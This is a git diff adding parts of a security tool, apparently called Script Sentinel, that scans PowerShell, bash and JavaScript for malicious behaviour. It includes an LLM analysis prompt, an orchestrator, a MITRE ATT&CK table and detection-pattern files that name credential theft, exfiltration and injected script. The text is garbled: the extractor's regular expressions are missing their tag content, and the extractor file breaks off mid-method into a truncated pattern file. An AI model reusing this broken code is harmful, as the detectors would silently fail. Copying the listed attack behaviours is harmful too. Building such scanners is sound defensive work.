Args: + language: Script language (powershell, bash, javascript). + script_content: The sanitized script content. + heuristic_findings: Findings from heuristic analysis. + + Returns: + Formatted prompt string. + """ + # Build heuristic findings summary + heuristic_summary = "" + if heuristic_findings: + heuristic_summary = "\n\n## Heuristic Findings\n\n" + heuristic_summary += "The following patterns were detected by heuristic analysis:\n\n" + for i, finding in enumerate(heuristic_findings, 1): + heuristic_summary += f"{i}. **{finding.pattern_id}** (Severity: {finding.severity}, Confidence: {finding.confidence:.2f})\n" + heuristic_summary += f" - {finding.description}\n" + if finding.mitre_technique: + heuristic_summary += f" - MITRE: {finding.mitre_technique}\n" + + prompt = f"""You are a cybersecurity expert analyzing a {language} script for potential security threats. + +## Task + +Perform semantic analysis to identify security threats, malicious patterns, or suspicious behaviors that may not be caught by simple pattern matching. Focus on: + +1. **Intent Analysis**: What is the script trying to accomplish? +2. **Behavioral Patterns**: Does it exhibit malicious behaviors (data exfiltration, persistence, privilege escalation)? +3. **Context Understanding**: Are seemingly benign commands used in a malicious context? +4. **Obfuscation Detection**: Is the code intentionally obscured to hide malicious intent? +5. **MITRE ATT&CK Mapping**: Which tactics and techniques does it employ? + +{heuristic_summary} + +## Script Content + +```{language} +{script_content} +``` + +## Output Format + +Provide your analysis as a JSON array of findings. Each finding must include: + +- `pattern_id`: A unique identifier (e.g., "semantic-data-exfil-001") +- `severity`: One of "High", "Medium", "Low" +- `confidence`: A float between 0.0 and 1.0 +- `description`: Clear description of the threat +- `mitre_technique`: MITRE ATT&CK technique ID (e.g., "T1059.001") or null +- `category`: One of "execution", "persistence", "privilege_escalation", "defense_evasion", "credential_access", "discovery", "lateral_movement", "collection", "exfiltration", "command_and_control", "impact" + +Example: +```json +[ + {{ + "pattern_id": "semantic-credential-theft-001", + "severity": "High", + "confidence": 0.92, + "description": "Script attempts to access browser credential stores and send data to external server", + "mitre_technique": "T1555.003", + "category": "credential_access" + }} +] +``` + +**Important**: +- Only report findings with confidence >= 0.6 +- Be specific about WHY something is suspicious +- Consider the context - not all powerful commands are malicious +- If no threats are found, return an empty array: [] +""" + + return prompt + + +def _parse_llm_response(response_text: str) -> tuple[list[Finding], Optional[str]]: + """ + Parse LLM response into Finding objects. + + Args: + response_text: Raw response from LLM. + + Returns: + Tuple of (findings_list, error_message). + """ + import json + import re + + try: + # Extract JSON from response (handle markdown code blocks) + json_match = re.search(r'```(?:json)?\s*(\[.*?\])\s*```', response_text, re.DOTALL) + if json_match: + json_str = json_match.group(1) + else: + # Try to find JSON array directly + json_match = re.search(r'\[.*?\]', response_text, re.DOTALL) + if json_match: + json_str = json_match.group(0) + else: + return [], "No JSON array found in LLM response" + + # Parse JSON + findings_data = json.loads(json_str) + + if not isinstance(findings_data, list): + return [], "LLM response is not a JSON array" + + # Convert to Finding objects + findings = [] + for item in findings_data: + try: + # Convert confidence string to float if needed + confidence = item.get('confidence', 0.0) + if isinstance(confidence, str): + confidence = float(confidence) + + finding = Finding( + pattern_id=item.get('pattern_id', 'semantic-unknown'), + severity=item.get('severity', 'Medium'), + confidence=confidence, + description=item.get('description', 'No description provided'), + mitre_technique=item.get('mitre_technique'), + category=item.get('category', 'unknown') + ) + findings.append(finding) + except (KeyError, ValueError, TypeError) as e: + logger.warning(f"Failed to parse finding: {e}") + continue + + return findings, None + + except json.JSONDecodeError as e: + return [], f"Failed to parse JSON: {str(e)}" + except Exception as e: + return [], f"Failed to parse LLM response: {str(e)}" + + +async def _run_adk_analysis( + language: str, + sanitized_content: str, + heuristic_findings: list[Finding], + model: str = DEFAULT_MODEL +) -> tuple[Optional[ADKAnalysisResult], Optional[str]]: + """ + Run ADK analysis with Gemini. + + Args: + language: Script language. + sanitized_content: Sanitized script content. + heuristic_findings: Findings from heuristic analysis. + model: Gemini model to use ('flash', 'pro', or 'flash-thinking'). + + Returns: + Tuple of (ADKAnalysisResult, error_message). + """ + try: + # Create the analysis prompt + prompt = _create_analysis_prompt(language, sanitized_content, heuristic_findings) + + # Get project and location from environment + import os + + project = os.getenv('GOOGLE_CLOUD_PROJECT') + location = os.getenv('GOOGLE_CLOUD_LOCATION', 'us-central1') + + # Configure environment for Vertex AI (per official ADK docs) + os.environ['GOOGLE_GENAI_USE_VERTEXAI'] = 'true' + os.environ['GOOGLE_CLOUD_PROJECT'] = project + os.environ['GOOGLE_CLOUD_LOCATION'] = location + + # Get model name from configuration + model_name = GEMINI_MODELS.get(model, GEMINI_MODELS[DEFAULT_MODEL]) + + logger.info(f"Configured Vertex AI: project={project}, location={location}, model={model_name}") + + # Create ADK agent (ADK will auto-detect Vertex AI from env vars) + agent = Agent( + name="security_analyzer", + model=model_name, + instruction="""You are a cybersecurity expert specializing in script analysis. + Analyze scripts for security threats and provide detailed findings in JSON format. + Focus on semantic understanding and context, not just pattern matching.""", + description="Security script analyzer using semantic analysis" + ) + + # Create runner with session service (no client parameter needed) + session_service = InMemorySessionService() + runner = Runner( + app_name="script_sentinel", + agent=agent, + session_service=session_service + ) + + # Create session + session = await session_service.create_session( + app_name="script_sentinel", + user_id="analyzer", + state={"language": language} + ) + + # Create message content + message = types.Content( + role='user', + parts=[types.Part(text=prompt)] + ) + + # Run analysis with timeout + response_text = "" + async for event in runner.run_async( + user_id=session.user_id, + session_id=session.id, + new_message=message + ): + if event.content and event.content.parts: + for part in event.content.parts: + if part.text: + response_text += part.text + + # Parse response + findings, parse_error = _parse_llm_response(response_text) + if parse_error: + return None, f"Failed to parse LLM response: {parse_error}" + + # Create result + result = ADKAnalysisResult( + findings=findings, + metadata={ + "model": model_name, + "model_type": model, + "findings_count": len(findings), + "response_length": len(response_text) + } + ) + + return result, None + + except Exception as e: + # Check if this is a rate limit error (expected, don't log stack trace) + error_str = str(e) + if '429' in error_str or 'RESOURCE_EXHAUSTED' in error_str: + logger.warning(f"ADK analysis rate limited: {error_str}") + else: + # Unexpected error, log with stack trace + logger.error(f"ADK analysis failed: {e}", exc_info=True) + return None, f"ADK analysis failed: {error_str}" + + +async def analyze_with_adk( + script_content: str, + language: str, + ast: Any, + heuristic_findings: list[Finding], + model: str = DEFAULT_MODEL +) -> tuple[Optional[list[Finding]], Optional[str]]: + """ + Analyze script using Google ADK with Gemini for semantic analysis. + + This is the main entry point for LLM-powered analysis. It: + 1. Checks ADK availability + 2. Sanitizes the script content + 3. Runs semantic analysis with Gemini + 4. Returns findings or error for graceful degradation + + Args: + script_content: Original script content (unsanitized). + language: Script language (powershell, bash, javascript). + ast: Parsed AST (for future use). + heuristic_findings: Findings from heuristic analysis. + model: Gemini model to use ('flash', 'pro', or 'flash-thinking'). + Default is 'flash' for speed and cost-effectiveness. + + Returns: + Tuple of (findings_list, error_message). + On success: (findings, None) + On failure: (None, error_message) - triggers fallback to heuristics-only + + Examples: + >>> # Use default Flash model (fast, cost-effective) + >>> findings, error = await analyze_with_adk(script, "powershell", ast, []) + + >>> # Use Pro model for deeper analysis + >>> findings, error = await analyze_with_adk(script, "powershell", ast, [], model='pro') + + >>> if findings: + ... print(f"Found {len(findings)} semantic threats") + >>> else: + ... print(f"ADK unavailable: {error}") + """ + # Step 1: Check ADK availability + is_available, availability_error = _check_adk_available() + if not is_available: + logger.warning(f"ADK not available: {availability_error}") + return None, availability_error + + # Step 2: Sanitize script content + logger.info("Sanitizing script content for LLM transmission") + sanitized_content, stats = sanitize_script(script_content) + logger.info(f"Sanitization complete: {stats.total_redactions} redactions") + + # Step 3: Run ADK analysis with timeout + try: + logger.info(f"Starting ADK analysis with {model} model (timeout: {LLM_TIMEOUT_SECONDS}s)") + result, error = await asyncio.wait_for( + _run_adk_analysis(language, sanitized_content, heuristic_findings, model), + timeout=LLM_TIMEOUT_SECONDS + ) + + if error: + logger.error(f"ADK analysis failed: {error}") + return None, error + + if not result: + return None, "ADK analysis returned no result" + + logger.info(f"ADK analysis complete: {len(result.findings)} findings") + return result.findings, None + + except asyncio.TimeoutError: + error_msg = f"ADK analysis timed out after {LLM_TIMEOUT_SECONDS} seconds" + logger.error(error_msg) + return None, error_msg + except Exception as e: + error_msg = f"ADK analysis failed: {str(e)}" + # Check if this is a rate limit error (expected, don't log stack trace) + if '429' in error_msg or 'RESOURCE_EXHAUSTED' in error_msg: + logger.warning(error_msg) + else: + # Unexpected error, log with stack trace + logger.error(error_msg, exc_info=True) + return None, error_msg \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/analyzer.py b/docker/script-sentinel/sentinel/analyzer.py new file mode 100644 index 0000000000000..839acceb9a245 --- /dev/null +++ b/docker/script-sentinel/sentinel/analyzer.py @@ -0,0 +1,576 @@ +# sentinel/analyzer.py + +""" +Main analysis orchestrator for Script Sentinel. + +This module coordinates the analysis pipeline, integrating parsing, +heuristic pattern matching, and (future) LLM-based semantic analysis +to produce comprehensive security assessments. +""" + +import logging +import asyncio +import time +from typing import Optional, Dict, Any +from pathlib import Path + +from .models import AnalysisResult, Finding, Verdict +from .parser import parse +from .heuristics import HeuristicEngine +from .obfuscation import detect_obfuscation +from .ioc_extractor import IOCExtractor +from .mitre import MITREMapper +from .verdict import calculate_verdict +from .extractor import ScriptExtractor, ExtractedScript + +# Lazy import for ADK (optional dependency) +# Only imported when include_llm=True to avoid requiring google-adk for basic usage + +logger = logging.getLogger(__name__) + + +class ScriptAnalyzer: + """ + Main analyzer that orchestrates the complete analysis pipeline. + + The analyzer: + 1. Parses scripts into AST + 2. Runs heuristic pattern matching + 3. (Future) Runs LLM semantic analysis + 4. Generates overall verdict and confidence score + + Attributes: + heuristic_engine: HeuristicEngine instance for pattern matching. + patterns_loaded: Whether patterns have been loaded. + + Examples: + >>> analyzer = ScriptAnalyzer() + >>> analyzer.load_patterns('sentinel/patterns') + >>> result = analyzer.analyze(script_content, 'powershell') + >>> print(f"Verdict: {result.verdict.value}") + """ + + def __init__(self, patterns_dir: Optional[str | Path] = None): + """ + Initializes the script analyzer. + + Args: + patterns_dir: Directory containing pattern files (optional). + If not provided, patterns must be loaded explicitly. + """ + self.heuristic_engine = HeuristicEngine() + self.ioc_extractor = IOCExtractor() + self.script_extractor = ScriptExtractor() + self.patterns_loaded = False + + # Initialize MITRE mapper with data directory + data_dir = Path(__file__).parent / 'data' + try: + self.mitre_mapper = MITREMapper(data_dir) + logger.info("MITRE ATT&CK mapper initialized") + except (FileNotFoundError, ValueError) as e: + logger.warning(f"MITRE mapper initialization failed: {e}") + self.mitre_mapper = None + + if patterns_dir: + self.load_patterns(patterns_dir) + + logger.info("Script analyzer initialized") + + def load_patterns(self, patterns_dir: str | Path) -> tuple[int, list[str]]: + """ + Loads patterns from directory into the heuristic engine. + + Args: + patterns_dir: Path to directory containing pattern YAML files. + + Returns: + Tuple of (number_of_patterns_loaded, list_of_errors). + """ + count, errors = self.heuristic_engine.load_patterns(patterns_dir) + self.patterns_loaded = count > 0 + + if self.patterns_loaded: + logger.info(f"Loaded {count} patterns for analysis") + else: + logger.error("Failed to load any patterns") + + return count, errors + + def analyze( + self, + script_content: str, + language: str, + include_llm: bool = False, + paranoia_level: int = 1, + file_type: Optional[str] = None, + llm_model: str = 'flash' + ) -> tuple[Optional[AnalysisResult], Optional[str]]: + """ + Analyzes a script and returns comprehensive security assessment. + + Args: + script_content: The script content to analyze. + language: Script language ('powershell', 'bash', 'javascript') or container type ('html', 'xml', 'sct'). + include_llm: Whether to include LLM semantic analysis. + paranoia_level: Analysis sensitivity level (1=Balanced, 2=Aggressive, 3=Maximum). + file_type: Optional file type hint for embedded script extraction ('html', 'xml', 'sct'). + llm_model: Gemini model to use for LLM analysis ('flash', 'pro', or 'flash-thinking'). + Default is 'flash' for speed and cost-effectiveness. + + Returns: + Tuple of (AnalysisResult, error_message). + On success: (AnalysisResult, None) + On failure: (None, error_message) + + Examples: + >>> analyzer = ScriptAnalyzer('sentinel/patterns') + >>> # Use default Flash model + >>> result, error = analyzer.analyze(script_content, 'powershell', include_llm=True) + >>> # Use Pro model for deeper analysis + >>> result, error = analyzer.analyze(script_content, 'powershell', include_llm=True, llm_model='pro') + >>> if result: + ... print(f"Found {len(result.findings)} issues") + """ + # Start timing for overall analysis + analysis_start_time = time.time() + + try: + # Validate inputs + if not script_content or not script_content.strip(): + return None, "Empty script content provided" + + if not language: + return None, "Language not specified" + + # Preprocess script content: remove null bytes and other control characters + # that can break pattern matching while preserving legitimate content + original_size = len(script_content) + script_content = script_content.replace('\x00', '') # Remove null bytes + if len(script_content) != original_size: + logger.info(f"Removed {original_size - len(script_content)} null bytes from script") + + # Normalize language + language = language.lower() + valid_languages = {'powershell', 'bash', 'javascript'} + container_types = {'html', 'xml', 'sct'} + + # Check if this is a container file that needs script extraction + if language in container_types or file_type in container_types: + return self._analyze_embedded( + script_content, + file_type or language, + include_llm, + paranoia_level, + llm_model + ) + + if language not in valid_languages: + return None, f"Unsupported language: {language}. Must be one of {valid_languages} or {container_types}" + + # Check patterns are loaded + if not self.patterns_loaded: + logger.warning("No patterns loaded - analysis will have limited effectiveness") + + # Step 1: Parse script into AST + logger.info(f"Parsing {language} script ({len(script_content)} bytes)") + ast, parse_error = parse(script_content, language) + + # Enable fallback mode for unparseable scripts + fallback_mode = False + if parse_error or not ast: + logger.warning(f"Parser failed: {parse_error or 'Empty AST'}") + logger.info("Enabling fallback mode: regex-only pattern matching") + fallback_mode = True + # Create minimal AST for fallback mode + ast = {'type': 'fallback', 'children': []} + + # Step 2: Run heuristic pattern matching + logger.info("Running heuristic pattern matching") + heuristic_start_time = time.time() + heuristic_findings = [] + + if self.patterns_loaded: + heuristic_findings = self.heuristic_engine.match_patterns( + ast, + language, + script_content, + paranoia_level + ) + logger.info(f"Heuristic analysis found {len(heuristic_findings)} findings (paranoia level: {paranoia_level})") + + heuristic_duration = time.time() - heuristic_start_time + + # Step 2.5: Run obfuscation detection + logger.info("Running obfuscation detection") + obfuscation_start_time = time.time() + obfuscation_findings = detect_obfuscation(script_content, language, ast) + logger.info(f"Obfuscation detection found {len(obfuscation_findings)} findings") + obfuscation_duration = time.time() - obfuscation_start_time + obfuscation_detected = len(obfuscation_findings) > 0 + + # Combine heuristic and obfuscation findings + heuristic_findings.extend(obfuscation_findings) + + # Step 2.75: Extract IOCs from script content + logger.info("Extracting Indicators of Compromise (IOCs)") + ioc_start_time = time.time() + iocs = self.ioc_extractor.extract(script_content, language, heuristic_findings) + ioc_duration = time.time() - ioc_start_time + + # Count total IOCs + total_iocs = sum(len(ioc_list) for ioc_list in iocs.values()) + logger.info(f"IOC extraction found {total_iocs} IOCs across {len(iocs)} types") + + # Step 2.8: Map findings to MITRE ATT&CK techniques + mitre_techniques = {} + mitre_duration = 0.0 + + if self.mitre_mapper: + logger.info("Mapping findings to MITRE ATT&CK techniques") + mitre_start_time = time.time() + mitre_techniques = self.mitre_mapper.map_findings(heuristic_findings) + mitre_duration = time.time() - mitre_start_time + + total_techniques = len(mitre_techniques) + logger.info(f"MITRE mapping found {total_techniques} unique techniques") + else: + logger.warning("MITRE mapper not available - skipping technique mapping") + + # Step 3: Run LLM semantic analysis (if enabled) + llm_findings = [] + llm_available = False + llm_error = None + llm_duration = 0.0 + + if include_llm: + logger.info("Running LLM semantic analysis with ADK") + llm_start_time = time.time() + try: + # Lazy import ADK agent (only when needed) + try: + from .adk_agent import analyze_with_adk + except ImportError as import_err: + llm_error = f"ADK dependencies not installed: {str(import_err)}" + logger.warning(llm_error) + logger.info("Falling back to heuristics-only mode") + llm_duration = time.time() - llm_start_time + # Continue without LLM analysis + include_llm = False + else: + # Run ADK analysis asynchronously + llm_findings_result, adk_error = asyncio.run( + analyze_with_adk( + script_content=script_content, + language=language, + ast=ast, + heuristic_findings=heuristic_findings, + model=llm_model + ) + ) + + if llm_findings_result is not None: + llm_findings = llm_findings_result + llm_available = True + logger.info(f"LLM analysis complete: {len(llm_findings)} findings") + else: + llm_error = adk_error + logger.warning(f"LLM analysis unavailable: {adk_error}") + logger.info("Falling back to heuristics-only mode") + + except Exception as e: + llm_error = str(e) + logger.error(f"LLM analysis failed: {e}", exc_info=True) + logger.info("Falling back to heuristics-only mode") + + llm_duration = time.time() - llm_start_time + + # Step 4: Generate overall verdict and confidence using verdict module + logger.info("Calculating final verdict and confidence score") + verdict_start_time = time.time() + + # Combine all findings for verdict calculation + all_findings = heuristic_findings + llm_findings + + verdict, confidence = calculate_verdict( + findings=all_findings, + llm_available=llm_available, + obfuscation_detected=obfuscation_detected, + paranoia_level=paranoia_level + ) + + verdict_duration = time.time() - verdict_start_time + + # Calculate total analysis time + analysis_duration = time.time() - analysis_start_time + + # Calculate script metrics + script_lines = script_content.count('\n') + 1 + script_bytes = len(script_content.encode('utf-8')) + + # Get severity distribution for metadata + from .verdict import get_severity_distribution + severity_dist = get_severity_distribution(all_findings) + + # Create analysis result with comprehensive metadata + result = AnalysisResult( + verdict=verdict, + confidence_score=confidence, + findings=all_findings, + heuristic_findings=heuristic_findings, + llm_findings=llm_findings, + iocs=iocs, + mitre_techniques=mitre_techniques, + metadata={ + # Script information + 'script_language': language, + 'script_lines': script_lines, + 'script_bytes': script_bytes, + 'script_size': len(script_content), # Kept for backward compatibility + + # Analysis timing + 'analysis_time_seconds': round(analysis_duration, 3), + 'heuristic_duration': round(heuristic_duration, 3), + 'obfuscation_duration': round(obfuscation_duration, 3), + 'ioc_duration': round(ioc_duration, 3), + 'mitre_duration': round(mitre_duration, 3), + 'llm_duration': round(llm_duration, 3), + 'verdict_duration': round(verdict_duration, 3), + + # Finding counts + 'total_findings': len(all_findings), + 'heuristic_findings_count': len(heuristic_findings), + 'obfuscation_findings_count': len(obfuscation_findings), + 'llm_findings_count': len(llm_findings), + + # IOC counts + 'total_iocs': total_iocs, + 'ioc_types_found': len(iocs), + 'iocs_by_type': {ioc_type: len(ioc_list) for ioc_type, ioc_list in iocs.items()}, + + # MITRE ATT&CK counts + 'total_mitre_techniques': len(mitre_techniques), + 'mitre_techniques_by_tactic': self._group_techniques_by_tactic(mitre_techniques), + + # Pattern matching info + 'patterns_checked': self.heuristic_engine.registry.get_enabled_count(), + 'pattern_matches': severity_dist, + + # Analysis mode + 'paranoia_level': paranoia_level, + 'obfuscation_detected': obfuscation_detected, + 'llm_available': llm_available, + 'llm_error': llm_error, + 'parser_fallback_mode': fallback_mode, + 'parse_error': parse_error if fallback_mode else None, + 'llm_fallback_mode': include_llm and not llm_available + } + ) + + logger.info(f"Analysis complete: {verdict.value} (confidence: {confidence:.2f}, " + f"time: {analysis_duration:.2f}s)") + return result, None + + except Exception as e: + error_msg = f"Analysis failed: {str(e)}" + logger.error(error_msg, exc_info=True) + return None, error_msg + + def _analyze_embedded( + self, + content: str, + file_type: str, + include_llm: bool, + paranoia_level: int, + llm_model: str = 'flash' + ) -> tuple[Optional[AnalysisResult], Optional[str]]: + """ + Analyzes embedded scripts in HTML, XML, or SCT files. + + Args: + content: Container file content. + file_type: Type of container ('html', 'xml', 'sct'). + include_llm: Whether to include LLM semantic analysis. + paranoia_level: Analysis sensitivity level. + + Returns: + Tuple of (AnalysisResult, error_message). + """ + logger.info(f"Analyzing embedded scripts in {file_type} file") + + # Extract scripts from container + extracted_scripts = self.script_extractor.extract(content, file_type) + + if not extracted_scripts: + return None, f"No scripts found in {file_type} file" + + logger.info(f"Extracted {len(extracted_scripts)} script(s) from {file_type} file") + + # Analyze each extracted script + all_findings = [] + all_heuristic_findings = [] + all_llm_findings = [] + all_iocs = {} + all_mitre_techniques = {} + + highest_verdict = Verdict.BENIGN + total_confidence = 0.0 + analysis_errors = [] + + for i, script in enumerate(extracted_scripts, 1): + logger.info(f"Analyzing script {i}/{len(extracted_scripts)}: " + f"{script.language} (lines {script.line_start}-{script.line_end})") + + # Analyze the extracted script + result, error = self.analyze( + script.content, + script.language, + include_llm=include_llm, + paranoia_level=paranoia_level, + llm_model=llm_model + ) + + if error: + logger.warning(f"Failed to analyze script {i}: {error}") + analysis_errors.append(f"Script {i} ({script.context}): {error}") + continue + + if not result: + continue + + # Adjust finding line numbers to match original file + for finding in result.findings: + if hasattr(finding, 'line_number') and finding.line_number: + finding.line_number += script.line_start - 1 + # Add context about which embedded script this came from + finding.description = f"[{script.context}] {finding.description}" + + # Aggregate results + all_findings.extend(result.findings) + all_heuristic_findings.extend(result.heuristic_findings) + all_llm_findings.extend(result.llm_findings) + + # Merge IOCs + for ioc_type, ioc_list in result.iocs.items(): + if ioc_type not in all_iocs: + all_iocs[ioc_type] = [] + all_iocs[ioc_type].extend(ioc_list) + + # Merge MITRE techniques + all_mitre_techniques.update(result.mitre_techniques) + + # Track highest severity verdict + if result.verdict.value > highest_verdict.value: + highest_verdict = result.verdict + + total_confidence += result.confidence_score + + # If all scripts failed to analyze, return error + if not all_findings and analysis_errors: + return None, f"Failed to analyze embedded scripts: {'; '.join(analysis_errors)}" + + # Calculate aggregate confidence (average of all scripts) + num_analyzed = len(extracted_scripts) - len(analysis_errors) + aggregate_confidence = total_confidence / num_analyzed if num_analyzed > 0 else 0.0 + + # Use the highest verdict found across all scripts + final_verdict = highest_verdict + + # Get severity distribution + from .verdict import get_severity_distribution + severity_dist = get_severity_distribution(all_findings) + + # Create aggregate result + result = AnalysisResult( + verdict=final_verdict, + confidence_score=aggregate_confidence, + findings=all_findings, + heuristic_findings=all_heuristic_findings, + llm_findings=all_llm_findings, + iocs=all_iocs, + mitre_techniques=all_mitre_techniques, + metadata={ + 'file_type': file_type, + 'embedded_scripts_count': len(extracted_scripts), + 'scripts_analyzed': num_analyzed, + 'scripts_failed': len(analysis_errors), + 'analysis_errors': analysis_errors, + 'total_findings': len(all_findings), + 'heuristic_findings_count': len(all_heuristic_findings), + 'llm_findings_count': len(all_llm_findings), + 'total_iocs': sum(len(ioc_list) for ioc_list in all_iocs.values()), + 'total_mitre_techniques': len(all_mitre_techniques), + 'pattern_matches': severity_dist, + 'paranoia_level': paranoia_level, + 'embedded_analysis': True + } + ) + + logger.info(f"Embedded script analysis complete: {final_verdict.value} " + f"(confidence: {aggregate_confidence:.2f}, " + f"{num_analyzed}/{len(extracted_scripts)} scripts analyzed)") + + return result, None + + def _group_techniques_by_tactic(self, mitre_techniques: dict) -> Dict[str, int]: + """ + Groups MITRE techniques by tactic for metadata. + + Args: + mitre_techniques: Dictionary of MITRETechnique objects. + + Returns: + Dictionary mapping tactic names to technique counts. + """ + tactic_counts = {} + for technique in mitre_techniques.values(): + tactic = technique.tactic + tactic_counts[tactic] = tactic_counts.get(tactic, 0) + 1 + return tactic_counts + + def get_statistics(self) -> Dict[str, Any]: + """ + Returns statistics about the analyzer. + + Returns: + Dictionary with analyzer statistics. + """ + stats = { + 'patterns_loaded': self.patterns_loaded, + 'heuristic_engine': self.heuristic_engine.get_statistics() + } + return stats + + +# Convenience function for one-off analysis +def analyze_script( + script_content: str, + language: str, + patterns_dir: Optional[str | Path] = None +) -> tuple[Optional[AnalysisResult], Optional[str]]: + """ + Convenience function to analyze a script without managing analyzer instance. + + Creates a ScriptAnalyzer, loads patterns, and performs analysis. + For repeated use, create an analyzer instance and reuse it. + + Args: + script_content: The script content to analyze. + language: Script language ('powershell', 'bash', 'javascript'). + patterns_dir: Directory containing patterns (default: auto-detect). + + Returns: + Tuple of (AnalysisResult, error_message). + + Examples: + >>> result, error = analyze_script(script_content, 'powershell') + >>> if result: + ... print(f"Verdict: {result.verdict.value}") + """ + # Auto-detect patterns directory if not provided + if patterns_dir is None: + current_file = Path(__file__) + patterns_dir = current_file.parent / 'patterns' + + analyzer = ScriptAnalyzer(patterns_dir) + return analyzer.analyze(script_content, language) diff --git a/docker/script-sentinel/sentinel/data/mitre_attack.json b/docker/script-sentinel/sentinel/data/mitre_attack.json new file mode 100644 index 0000000000000..eab40d1a79c10 --- /dev/null +++ b/docker/script-sentinel/sentinel/data/mitre_attack.json @@ -0,0 +1,150 @@ +{ + "name": "Enterprise ATT&CK", + "version": "14.1", + "techniques": { + "T1059": { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "tactic": [ + "Execution" + ], + "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", + "url": "https://attack.mitre.org/techniques/T1059/" + }, + "T1059.001": { + "id": "T1059.001", + "name": "PowerShell", + "tactic": [ + "Execution" + ], + "description": "Adversaries may abuse PowerShell commands and scripts for execution.", + "url": "https://attack.mitre.org/techniques/T1059/001/", + "parent": "T1059" + }, + "T1059.004": { + "id": "T1059.004", + "name": "Unix Shell", + "tactic": [ + "Execution" + ], + "description": "Adversaries may abuse Unix shell commands and scripts for execution.", + "url": "https://attack.mitre.org/techniques/T1059/004/", + "parent": "T1059" + }, + "T1140": { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "tactic": [ + "Defense Evasion" + ], + "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis.", + "url": "https://attack.mitre.org/techniques/T1140/" + }, + "T1027": { + "id": "T1027", + "name": "Obfuscated Files or Information", + "tactic": [ + "Defense Evasion" + ], + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze.", + "url": "https://attack.mitre.org/techniques/T1027/" + }, + "T1071": { + "id": "T1071", + "name": "Application Layer Protocol", + "tactic": [ + "Command and Control" + ], + "description": "Adversaries may communicate using application layer protocols to avoid detection.", + "url": "https://attack.mitre.org/techniques/T1071/" + }, + "T1071.001": { + "id": "T1071.001", + "name": "Web Protocols", + "tactic": [ + "Command and Control" + ], + "description": "Adversaries may communicate using application layer protocols associated with web traffic.", + "url": "https://attack.mitre.org/techniques/T1071/001/", + "parent": "T1071" + }, + "T1105": { + "id": "T1105", + "name": "Ingress Tool Transfer", + "tactic": [ + "Command and Control" + ], + "description": "Adversaries may transfer tools or other files from an external system into a compromised environment.", + "url": "https://attack.mitre.org/techniques/T1105/" + }, + "T1003": { + "id": "T1003", + "name": "OS Credential Dumping", + "tactic": [ + "Credential Access" + ], + "description": "Adversaries may attempt to dump credentials to obtain account login and credential material.", + "url": "https://attack.mitre.org/techniques/T1003/" + }, + "T1003.001": { + "id": "T1003.001", + "name": "LSASS Memory", + "tactic": [ + "Credential Access" + ], + "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).", + "url": "https://attack.mitre.org/techniques/T1003/001/", + "parent": "T1003" + }, + "T1055": { + "id": "T1055", + "name": "Process Injection", + "tactic": [ + "Defense Evasion", + "Privilege Escalation" + ], + "description": "Adversaries may inject code into processes in order to evade process-based defenses.", + "url": "https://attack.mitre.org/techniques/T1055/" + }, + "T1547": { + "id": "T1547", + "name": "Boot or Logon Autostart Execution", + "tactic": [ + "Persistence", + "Privilege Escalation" + ], + "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon.", + "url": "https://attack.mitre.org/techniques/T1547/" + }, + "T1547.001": { + "id": "T1547.001", + "name": "Registry Run Keys / Startup Folder", + "tactic": [ + "Persistence", + "Privilege Escalation" + ], + "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.", + "url": "https://attack.mitre.org/techniques/T1547/001/", + "parent": "T1547" + }, + "T1562": { + "id": "T1562", + "name": "Impair Defenses", + "tactic": [ + "Defense Evasion" + ], + "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", + "url": "https://attack.mitre.org/techniques/T1562/" + }, + "T1562.001": { + "id": "T1562.001", + "name": "Disable or Modify Tools", + "tactic": [ + "Defense Evasion" + ], + "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities.", + "url": "https://attack.mitre.org/techniques/T1562/001/", + "parent": "T1562" + } + } +} \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/extractor.py b/docker/script-sentinel/sentinel/extractor.py new file mode 100644 index 0000000000000..1667d1f6f9d7b --- /dev/null +++ b/docker/script-sentinel/sentinel/extractor.py @@ -0,0 +1,438 @@ +# sentinel/extractor.py + +""" +Script extraction module for embedded scripts in HTML, XML, and SCT files. + +This module detects and extracts scripts embedded in various container formats, +enabling analysis of scripts within HTML pages, XML configurations, and SCT files. +""" + +import re +import logging +from typing import List, Tuple, Optional +from dataclasses import dataclass + +logger = logging.getLogger(__name__) + + +@dataclass +class ExtractedScript: + """ + Represents a script extracted from a container file. + + Attributes: + content: The extracted script content. + language: Detected language ('javascript', 'powershell', 'bash', 'jscript'). + line_start: Starting line number in the original file. + line_end: Ending line number in the original file. + source_type: Type of container ('html', 'xml', 'sct'). + context: Additional context about the extraction (e.g., tag name). + """ + content: str + language: str + line_start: int + line_end: int + source_type: str + context: str = "" + + +class ScriptExtractor: + """ + Extracts embedded scripts from HTML, XML, and SCT files. + + Supports: + - HTML: ', + re.DOTALL | re.IGNORECASE + ) + + # Pattern for CDATA sections + self.cdata_pattern = re.compile( + r'', + re.DOTALL + ) + + # Pattern for SCT script tags with language attribute + self.sct_script_pattern = re.compile( + r']*>(.*?)', + re.DOTALL | re.IGNORECASE + ) + + # Pattern for XML script tags with type attribute + self.xml_script_pattern = re.compile( + r']*>(.*?)', + re.DOTALL | re.IGNORECASE + ) + + def detect_file_type(self, content: str) -> Optional[str]: + """ + Detect the file type based on content. + + Args: + content: File content to analyze. + + Returns: + File type ('html', 'xml', 'sct') or None if unknown. + """ + content_lower = content.lower().strip() + + # Check for SCT (scriptlet) files + if ' List[ExtractedScript]: + """ + Extract JavaScript from HTML '" + - "document.write('')" \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/patterns/javascript/js-003-obfuscation.yaml b/docker/script-sentinel/sentinel/patterns/javascript/js-003-obfuscation.yaml new file mode 100644 index 0000000000000..e41ab9e8b4759 --- /dev/null +++ b/docker/script-sentinel/sentinel/patterns/javascript/js-003-obfuscation.yaml @@ -0,0 +1,32 @@ +# JavaScript Pattern: Code Obfuscation +# Detects common JavaScript obfuscation patterns + +id: JS-003 +name: Obfuscated Code Detection +description: 